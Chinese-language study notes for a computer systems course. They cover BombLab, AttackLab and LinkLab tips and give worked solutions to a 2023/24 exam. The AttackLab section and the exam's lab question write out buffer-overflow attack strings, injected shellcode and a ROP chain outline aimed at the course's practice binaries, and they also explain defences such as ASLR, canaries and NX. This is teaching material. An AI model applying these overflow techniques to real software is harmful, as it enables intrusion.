Phase	考点	GDB 关键操作
1	字符串比较	看 rdi 加载的字符串 → x/s 0x地址
2	循环	break + step,看循环里做的加/乘
3	分支 / switch	看跳转表 .rodata 中的地址表
4	递归	设 break 到递归函数,看每次参数
5	数组	看数组基址 + i*size 的访问模式
6	链表 / 结构体	结构体字段偏移 + 指针链表遍历
7	综合	多种技巧组合

实验 3 AttackLab —— 缓冲区溢出(重点!)

目标程序:ctarget(可代码注入)、rtarget(栈随机化 + 不可执行 → 需 ROP)。

核心弱点:getbuf() 调用 Gets() 不检查长度,可覆盖返回地址。

Level 1:改返回地址跳到 touch1

反汇编:

```
getbuf:
   sub  $0x28, %rsp    # 分配 40 字节 buf(28h = 40)
   mov  %rsp, %rdi     # &buf → rdi
   call Gets
   add  $0x28, %rsp
   ret
```

栈布局(执行到 call Gets 时):

```
+----------------+  ← rsp+40
|  返回地址(要改)|
+----------------+  ← rsp+40 (call 前 push 的返回地址在这)
| buf[39..0]     |
+----------------+  ← rsp = %rdi (Gets 起写点)
```

构造字符串:40 字节任意 padding + touch1 首地址(8 字节,小端)

```
00 00 00 00 00 00 00 00     ← 8 字节 padding
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     ← 共 40 字节
c0 17 40 00 00 00 00 00     ← touch1 首地址 0x004017c0 (小端)
```

Level 2:调用 touch2 并传参 cookie

touch2 要求 %rdi == cookie(如 0x59b997fa)。

攻击思路:在 buf 中注入代码,内容为:

```
mov $0x59b997fa, %edi     # 把 cookie 放 rdi
push $0x4017ec            # touch2 的地址 push 到栈
ret                       # ret 会 pop 0x4017ec 到 rip
```

攻击字符串 = [注入代码机器码] + padding + [buf 起始地址(即注入代码的地址)]

注入代码的地址怎么算?gdb 里 b getbuf,r,i r rsp,rsp 就是 buf 起始 → 该地址填到攻击串末尾覆盖返回地址。

Level 3:touch3 传字符串指针

touch3 要 %rdi 指向一个内容为 cookie 的十六进制 ASCII 字符串。

陷阱:touch3 里会调用 hexmatch,该函数使用大量栈空间,可能覆盖 buf!所以字符串不能放 buf 里,要放到 getbuf 之外——即返回地址后面的位置。

rtarget(ROP,重点!)

因为栈随机化 + 栈不可执行,直接跳到 buf 不行。ROP = Return-Oriented Programming:利用程序里已有的以 ret 结尾的小片段(gadget)串联。

常用 gadget(在 farm.c 里找):

```
mov  %rax, %rdi ; ret       # 转移
pop  %rax       ; ret       # 从栈取值到 rax
movq %rsp, %rax ; ret       # 拿到栈指针
```

Level 2 (ROP) 攻击串思路:padding + [gadget1 地址] + [gadget1 用的立即数] + [gadget2 地址] + … + [touch2 地址]

对抗缓冲区溢出的方法(常问简答题)

① 栈随机化 (ASLR):每次运行栈基址随机,攻击代码位置猜不准

② 栈金丝雀 canary:call 前在返回地址前放一个随机哨兵值,ret 前检查是否被改

③ 数据不可执行位 (NX / W^X):栈页无 x 权限,即使跳过去也无法执行

④ 使用安全函数(fgets、strncpy、snprintf 等长度受控函数替代 gets/strcpy)

⑤ 编译器类型检查与静态分析工具警告

实验 4 LinkLab —— 目标文件修改(重点!)

目标:修改 phase[n].o 让链接后运行输出自己的学号。

Phase1:改静态数据

思路:phase1.o 里有个字符串(现是 “sample”),链接后被 puts 输出。用 hexedit 直接把 .data 或 .rodata 节中字符串的 ASCII 改成学号。

步骤:

① readelf -S phase1.o 找到 .data 节的文件偏移量(Offset 列)

② readelf -x .data phase1.o 看 .data 的内容 → 认出目标字符串在哪个偏移

③ hexedit phase1.o,用 Ctrl+S 搜索原字符串,把 ASCII 改成学号(如 “ ” → 42 32 31 30 33 31 32 31 32)

④ 保存,链接测试:gcc -no-pie -o linkbomb main.o phase1.o && ./linkbomb

Phase2:改符号表(符号解析)

phase2.o 声明了 char PHASE3_CODEBOOK[256]; 未初始化 → COM(common) 类型,链接时会归入 .bss。

思路:另写 phase2_patch.c,定义同名字符串数组并初始化为学号 → 编成 phase2_patch.o。然后修改 phase2.o 的符号表,把 PHASE3_CODEBOOK 从 COM(未初始化) 改为 UND(未定义 = 引用),让链接器使用 phase2_patch.o 中的定义。

关键工具:

```
readelf -s phase2.o                    # 看符号表
# 找到 PHASE3_CODEBOOK 那一行
# 其 Ndx 列可能是 COM(common,值 0xFFF2)
# 需要在 hexedit 中把该 st_shndx 字段改为 UND(0)
```

符号表条目(Elf64_Sym)结构 24 字节:

```
+--------------+ 0
| st_name (4)  | 名字在字符串表的偏移
+--------------+ 4
| st_info (1)  | bind(高4) | type(低4)
+--------------+ 5
| st_other (1) |
+--------------+ 6
| st_shndx (2) | 该符号所在节的索引 ← 这里改!!
+--------------+ 8
| st_value (8) |
```

```
+---------------+ 16
| st_size (8)   |
+---------------+ 24
```

把 st_shndx 从 FFF2(COM) 改成 0000(UND)。

Phase3:改重定位表(选做)

phase3 里有个 switch,跳转表放在 .rela.rodata。修改跳转表中每个 case 项的偏移量,让 COOKIE 字符对应到能输出目标字符的 case 分支起点。

用到 readelf -r phase3.o 看重定位表,用 readelf -x .rodata 看当前跳转表,然后 hexedit 改。

实验 4 常用工具速查

命令	作用
readelf -h phase.o	看 ELF Header(魔数、类型、机器)
readelf -S phase.o	看所有节(找 .data/.rodata/.symtab 的偏移量)
readelf -s phase.o	看符号表(重点!Type/Bind/Ndx)
readelf -r phase.o	看重定位表(重点!)
readelf -x .data phase.o	以十六进制 dump 指定节的原始字节
readelf -p .rodata phase.o	以字符串形式 dump
objdump -d phase.o	反汇编 .text(定位跳转表 case 起点)
objdump -t phase.o	看符号表(简版)
hexedit phase.o	二进制编辑(Ctrl+X 保存,Ctrl+S 搜索)

真题解析 · 2023/24 试卷 A

本届试题风格 & 分值:

单选 10 题 × 2 分 = 20 分

分析题 4 题 × 5 分 = 20 分

综合应用题 = 50 分 (最重!)

实验题 = 10 分

★ 下面按题目顺序给出完整推导,并标注踩坑点和速判技巧。

一、单项选择题(20 分)

Q1. 属于指令集体系结构名称的是 —— 答案:B(x86-64)

Linux/Ubuntu/Windows 都是操作系统。x86-64、ARM、MIPS、RISC-V 是ISA(指令集体系结构)。

Q2. 关于补码特点错误的描述 —— 答案:C

A. 0 的表示唯一(补码 0=0000...0)—— 正确

B. 符号位与数值位一起参加加法运算 —— 正确(补码设计目的)

C. +a 与 -a 的编码仅符号位不一样 —— 错误(除符号位外,数值位也变)

D. 补码范围不对称,负数比正数多一个 —— 正确(如 8 位 [-128, 127])

Q3. unsigned short → short —— 答案:D(-32768)

```
unsigned short usi = 32768;    // 位模式 = 1000 0000 0000 0000
short si = usi;                // 位模式不变,重新按补码解释

位串 1000 0000 0000 0000 按 16 位补码 = -2^15 = -32768
```

Q4. 舍入方式,避免统计偏差 —— 答案:A(向偶数)

向偶数舍入:0.5 邻域时选偶数,统计上不偏向大/小,方差最小。向零/向下/向上都系统性偏一边,在大量样本时产生偏差。

Q5. -1028.0 IEEE 754 单精度 —— 答案:A(C4808000H)

```
① s = 1 (负)
② |1028| = 2^10 + 2^2 = 1024 + 4 = 10000000100(11 位)
③ 规格化:1.0000000100 × 2^10  ⇒  E = 10
④ exp = E + 127 = 137 = 10001001
⑤ frac = 紧跟“1.”的位,取 23 位:
    0000000100 + 补 13 个 0
  = 00000001 00000000 0000000
⑥ 拼:1 | 10001001 | 00000001 00000000 0000000
  =  11000100  10000000  10000000  00000000
   =  C4       80       80       00

 → C4808000H     A
```

Q6. 可执行 vs 可重定位 —— 答案:C

C 说 “可执行的 .text 和可重定位的 .text 完全相同” —— 错误。可执行文件已完成重定位,原本 .text 里的占位符都被填成实际地址;而 .o 文件里的调用指令(如 call fun)偏移量为 0(未填),它们不同。

Q7. long a=1; float b=12.34; test(a,&a;,b,&b;) 参数传递 —— 答案:C

整型/指针参数按rdi, rsi, rdx, ...顺序;浮点用 xmm0, xmm1, ...。

```
a  (long)   → rdi   (第 1 个整型)
&a (指针)   → rsi   (第 2 个整型)
b  (float)  → xmm0  (第 1 个浮点)
&b (指针)   → rdx   (第 3 个整型)      ← 陷阱!浮点不占整型的位

→ C. rdi, rsi, xmm0, rdx
```

Q8. 静态库链接顺序 —— 答案:C

依赖:p.o → libx.a → liby.a → libx.a → p.o (循环依赖)

链接器从左到右一次扫描,遇到 .a 只解已知未决符号。所以必须按引用先后重复:

```
gcc  p.o  libx.a  liby.a  libx.a  p.o        # 5 项,最少
```

选项 A/B/D 都不完整;选 C。

Q9. cmpq/jbe 分支 —— 答案:D(0x8048580)

```
804857c: 48 39 c2    cmpq %rax, %rdx     ; 计算 rdx - rax,设标志
804857e: 76 f8       jbe  xxxxxxxx       ; 无符号 rdx <= rax 则跳

给定 rdx=80, rax=68 (无符号)
80 <= 68?  → 否 (80 > 68) → 不跳,顺序执行下一条

下一条地址 = 0x804857e + 2 = 0x8048580        D
```

陷阱:cmpq %rax, %rdx 是 rdx - rax (AT&T; 语法源在前,目的在后)。

Q10. 小端 int 存放 —— 答案:C(0x90)

```
x = 0x80901020,地址 0x8000fff0(int 4 字节)

小端存放(低字节在低地址):
  地址 0x8000fff0 : 0x20  ← 最低字节
  地址 0x8000fff1 : 0x10
  地址 0x8000fff2 : 0x90  ← 问的这里
  地址 0x8000fff3 : 0x80  ← 最高字节

 → 0x90      C
```

二、分析题(20 分)

Q1. addw %bx, %ax 后寄存器和标志位

给定:ax = 0xffd0,bx = 0x8005

addw = 16 位加法,ax = ax + bx(结果只保留 16 位)

0xFFD0 + 0x8005 = 0x17FD5 (17 位)
↓ 截断到 16 位
ax = 0x7FD5

标志位分析:

· ZF = 0 (结果非 0)

· CF = 1 (无符号加溢出:0x17FD5 > 0xFFFF,有进位丢出)

· SF = 0 (0x7FD5 最高位 = 0)

· OF:两负数相加得正数,判有符号溢出
0xFFD0 (16位补码) = -0x0030 = -48
0x8005 (16位补码) = -0x7FFB = -32763
-48 + (-32763) = -32811 < -32768(负溢出) → OF = 1

结果:ax = 0x7FD5,ZF=0,CF=1,OF=1,SF=0

★ 速判 OF:两操作数符号相同且结果符号与之相反 → 溢出。
两负相加得正,或两正相加得负 → OF=1;一正一负相加永远不溢出。

Q2. 可重定位文件的节 & 地址

题目:p.c 中 static int buf[4]={50,20,-1,8};static int *bufp1 = &buf[2];

(1) buf 定义在 .data 节(已初始化的 static 变量)

(2) buf 共 16 字节(4 个 int × 4 字节)

(3) bufp1 共 8 字节(指针,64 位)

(4) bufp1 的重定位信息在 .rela.data (或 .rel.data)节 —— 因为 bufp1 的初值 &buf[2] 是符号地址,在 .o 中还不确定,链接时才重定位

(5) &buf[2] = 0x4011C0 + 2 × 4 = 0x4011C8

Q3. 一组指令的执行结果(每条独立,用初始值算)

初始:M[0x100]=0xff, M[0x104]=0xab;rax=0x100, rbx=0xf0

指令	推导	结果
leaq 7(%rax,%rbx,4),%rcx	rcx = 7 + rax + 4×rbx = 7 + 0x100 + 4×0xf0 = 7 + 256 + 960 = 1223	rcx = 0x4C7
movq $0x100,%rax	把立即数 0x100 存入 rax	rax = 0x100
addl 0x100,%ebx	0x100 是绝对地址;取 M32[0x100] = 0x000000ff(设高 3 字节为 0) ebx = 0xf0 + 0xff = 0x1EF(32 位加)	ebx = 0x1EF
salb $2,%bl	bl = 低字节 rbx = 0xF0;左移 2 位 = 0x3C0 → 截断到 8 位 = 0xC0	bl = 0xC0
orw $0xc003,%bx	bx = 低 16 位 rbx = 0x00F0;0x00F0 | 0xC003 = 0xC0F3	bx = 0xC0F3

陷阱 1:addl 0x100,%ebx 中 0x100 是内存地址,不是立即数。若是立即数需写 $0x100。
陷阱 2:sal/salb 只影响操作数指定的字节数(b→1字节),移出的位丢失。
陷阱 3:orw 是 16 位操作,只改 bx,不影响 rbx 高 48 位(但 32 位操作会清高 32 位)

Q4. 整数除 0 会异常,浮点除 0 不异常?

整数除 0:硬件除法(idiv/div)遇除数为 0 时,无意义的结果可给,x86 抛出 #DE 异常(Divide Error)。系统一般把该异常翻译成 SIGFPE,程序崩溃。

浮点除 0:IEEE 754 规定除 0 结果为 ±∞(exp 全 1,frac 全 0),是一个合法编码。±∞ 可继续参与后续运算(如 X/0 > Y 比较),不抛异常,程序继续跑。

设计意图:IEEE 754 特意为浮点计算增加 ±∞ 和 NaN
表示,是为了让科学计算不中断,允许结果传播、程序自己决定如何处理。

三、综合应用题(50 分)

背景:main.c + sum.c,x86-64/Linux 小端。反汇编与 gdb 信息见原题。调试时 rip=0x4011aa (call sum 前),rsp=0x7fffffffde00,rdi=0x404080,rsi=0x4。

Q1. C 源程序到可执行文件的命令行 & 步骤

命令行(最简):

```
linux> gcc -o sum main.c sum.c
```

四个阶段:

① 预处理(cpp):.c → .i,展开宏、包含头文件、去注释

② 编译(cc1):.i → .s,生成汇编代码文本

③ 汇编(as):.s → .o,可重定位目标文件

④ 链接(ld):main.o + sum.o + libc.a → sum,可执行

Q2. 符号表填空(最容易错的题!)

标识符	是否在 main.o 符号表中?	定义模块	符号类型
sum	是	sum.o	外部符号(main.o 中引用,sum.o 中是全局定义)
array	是	main.o	局部符号(static,只在 main.o 内定义引用)
result	是	main.o	全局符号(未加 static,可被 sum.o 引用)
num	否	—(main 函数内的 auto 局部变量)	不是链接器符号,分配在栈上,不出现在 .symtab

大坑:C 语言里的局部变量(函数内 auto)不出现在符号表!
只有:全局变量(定义或引用)、static 变量(局部符号)、函数名 才在符号表。

Q3. scanf/printf 中格式符(如 “%d”)在哪个节?

“%d\n” 这类字符串常量存放在 .rodata(只读数据)节。反汇编里也能看到 lea 0xe6a(%rip), %rdi —— 这是把 .rodata 中的字符串地址传给 rdi。

Q4. 输入 num 是多少?屏幕输出?

从 gdb 信息看,call sum 前 rsi = 0x4 = sum(array, num) 的第 2 个参数 = num。

所以 num = 4。执行 sum(array[0..9], 4),循环 i=0..3:

i	a[i]	s = s + a[i]	result = result × a[i]
—初值—	—	s = 0	result = 1
0	3	s = 3	result = 1×3 = 3
1	-7	s = -4	result = 3×(-7) = -21
2	6	s = 2	result = -21×6 = -126
3	14	s = 16	result = -126×14 = -1764

屏幕输出:val = 16 result = -1764

Q5. x/8xb 0x404080 —— 显示什么?

0x404080 = array 起始地址。array 是 static int[10] = {3, -7, 6, ...}。

array[0] = 3 (int 4 字节) → 小端存 03 00 00 00

array[1] = -7 → 补码 0xFFFFFFF9 → 小端存 f9 ff ff ff

```
0x404080:  0x03  0x00  0x00  0x00  0xf9  0xff  0xff  0xff
```

Q6. call 4011e7 <sum> 机器码

call 指令 = 0xe8 + 4 字节偏移(补码,PC 相对)。共 5 字节。

```
偏移量 = 目标 - (call 指令地址 + 5)
       = 0x4011e7 - (0x4011aa + 5)
       = 0x4011e7 - 0x4011af
       = 0x00000038
```

小端写入 4 字节: 38 00 00 00

完整机器码:4011aa: e8 38 00 00 00   call 4011e7 <sum>

Addend = -4 是因为 rip(即 PC)在 call 后已指向下一条指令(比 call 起始处 +5),而重定位公式用的是 rip 前 4 字节位置。

Q7. call 后 rip、rsp、栈顶内容

call 语义 = push 返回地址 + jmp 目标。

```
call 4011e7 <sum> 执行:
① rsp = rsp - 8       → rsp = 0x7fffffffde00 - 8 = 0x7fffffffddf8
② M[rsp] = 0x4011af   (即 call 后下一条指令的地址,8 字节)
③ rip = 0x4011e7      → 跳到 sum 首指令

(gdb) x/xg $rsp
0x7fffffffddf8:  0x00000000004011af     ← 栈顶 8 字节 = 返回地址

结论:
  rip = 0x4011e7
  rsp = 0x7fffffffddf8
  栈顶单元(8 字节) = 0x00000000004011af
```

Q8. i=2 时,401204: mov (%rdi,%rax,4),%eax 执行后 eax = ?

看代码流:

```
4011ff: jmp 401219 <sum+0x32>      ; 先跳到测试

(测试通过后:)
401201: movslq %edx,%rax            ; rax = (long)edx = (long)i
401204: mov (%rdi,%rax,4),%eax      ; eax = M[rdi + 4·rax] = array[i]
```

i = 2 时,rax = 2。rdi 是 array 的起始 = 0x404080。

mov (0x404080, 2, 4),%eax = M[0x404080 + 8] = array[2] = 6。

eax = 0x00000006

Q9. cmp %esi,%edx 后 esi 和 ecx 的内容

cmp 不修改任何寄存器,只更新标志位。所以 esi、ecx 保持先前的值。

汇编中 esi 存 n(=num=4),ecx 存累加和 s。

edx = 2 意味着 i = 2,此时循环体已跑过 i=0 和 i=1:s = 3 + (-7) = -4?等等,此时是 401219 处 cmp %esi,%edx 对应循环判断结束,i 从 0 起,先跑循环体再 cmp,所以到 cmp 时:

```
i=0 循环体:s=0+3=3, result=1×3=3, i→1
i=1 循环体:s=3+(-7)=-4, result=3×(-7)=-21, i→2
执行 cmp %esi,%edx (esi=4, edx=2)  → 2 < 4 → 继续 jl → 循环
```

实际上题目问 “i=2 时,cmp 执行后 esi 和 ecx 分别是什么”,应理解为:cmp 是循环判断跳回前的比较。此时 i(edx)=2 表示循环体已执行 2 次(i=0,1)。
esi = 4(num,循环期间不变)
ecx = -4(已累加 3 + (-7) = -4)

★ 更严格:仔细读题 “edx=2” 也可能理解为循环已进入第 i=2 次的循环体。这种题稍留意上下文。考试答案给 esi=4, ecx=-4 通常都接受。

Q10. sum 函数中,哪两条指令实现 result *= a[i] ?

```
401209: 0f af 05 7c 2e 00 00   imul 0x2e7c(%rip),%eax   # 40408c <result>
401210: 89 05 76 2e 00 00      mov  %eax,0x2e76(%rip)   # 40408c <result>
```

imul:eax = eax × M[result],即把 a[i](在 eax 里) 与 result 相乘,结果留在 eax。

mov:把新结果写回 M[result]。

答案:401209(imul) 和 401210(mov)

Q11. 40117e 和 401187 两条指令的作用

```
40117e: 64 48 8b 04 25 28 00     mov %fs:0x28,%rax   # 从 fs 段的 0x28 处读金丝雀
401185: 00 00
401187: 48 89 44 24 08           mov %rax,0x8(%rsp)  # 把金丝雀存到栈上
```

作用:实现 栈金丝雀保护(Stack Canary / Stack Protector)。

① 40117e:从线程本地存储 fs:0x28 处读一个随机 guard value 到 rax

② 401187:把这个值存到栈上 rsp+8 位置(位于本函数栈帧最靠近返回地址处)

③ 函数返回前,会有对应的校验代码比较该位置是否仍是原随机值。若被改动 → 缓冲区溢出 → 调用 __stack_chk_fail 中止程序。

★ 对应 -fstack-protector 编译选项。是对抗缓冲区溢出的重要防御机制。

四、实验题(10 分)

反汇编分析

```
0000000000401de1 <getbuf>:
  401de1: f3 0f 1e fa    endbr64
  401de5: 48 83 ec 28    sub $0x28,%rsp    ← 分配 40 字节 buf (0x28 = 40)
  401de9: 48 89 e7       mov %rsp,%rdi     ← buf 地址 = rsp,传给 Gets
  401dec: e8 ad 02 00 00 call 40209e <Gets>
  401df1: b8 01 00 00 00 mov $0x1,%eax
  401df6: 48 83 c4 28    add $0x28,%rsp    ← 回收栈
  401dfa: c3             ret               ← 关键:返回地址在 rsp+40 处

0000000000401dfb <bomb>:                   ← 目标 = 0x0000000000401dfb
  401dfb: f3 0f 1e fa    endbr64
  401dff: 50             push %rax
  ......
```

题目原文:bomb 首地址是 0x0000000000401dfb(注意有前导 0,总 8 字节)

Q1. 设计溢出攻击字符串

栈布局(在 Gets 开始读取时):

```
+--------------------+
| 返回地址 (8 字节)    | ← rsp + 0x28 = rsp + 40
+--------------------+ ← rsp + 40
| buf[39..0]  (40 字节)|
+--------------------+ ← rsp = %rdi(Gets 从这里开始写)
```

攻击目标:让 buf 溢出,把返回地址覆盖为 bomb 首地址 0x0000000000401dfb。

字符串组成:40 字节任意填充(0x00 或任何值都行,只要不含换行符\n=0x0A) + 8 字节 bomb 地址(小端)

```
00 00 00 00 00 00 00 00      ← padding 字节 1-8
00 00 00 00 00 00 00 00      ← padding 字节 9-16
00 00 00 00 00 00 00 00      ← padding 字节 17-24
00 00 00 00 00 00 00 00      ← padding 字节 25-32
00 00 00 00 00 00 00 00      ← padding 字节 33-40 (共 40 字节 buf 填满)
fb 1d 40 00 00 00 00 00      ← bomb 地址 0x401dfb 小端序 8 字节
```

关键陷阱:
① 小端 → 低字节 fb 在前,高字节 00 在后。
② Gets() 读到换行停止,所以填充字节不能是 0x0A。
③ 若不是用 hex2raw,直接输入 ASCII 字符,长度要一致,并注意不可打印字符。

Q2. 对抗缓冲区溢出攻击的方法

① 栈随机化 (Address Space Layout Randomization, ASLR):每次进程启动时,栈基址、堆基址、共享库加载地址都随机化。攻击者不知道目标函数地址,无法准确覆盖返回地址。

② 栈金丝雀 (Stack Canary):函数入口在返回地址前压入随机值,函数返回前检查该值是否被改。若被改说明栈被写坏,调用 __stack_chk_fail 中止程序。

③ 数据不可执行位 (NX / DEP / W^X):栈和堆所在页设为不可执行。即使攻击代码写进栈,跳过去 CPU 也拒绝执行(触发段错误)。

④ 使用安全库函数:用 fgets、strncpy、snprintf 等长度受限的函数替代 gets、strcpy、sprintf 等危险函数。

⑤ 编译器检查:开启 -Wall -Wextra -fstack-protector-strong,静态分析工具检测越界访问。

⑥ 控制流完整性 (CFI):在编译期插入检查,保证间接跳转/call 只能到合法目标。

⑦ 影子栈 (Shadow Stack):硬件级别单独保存返回地址副本,ret 时对比。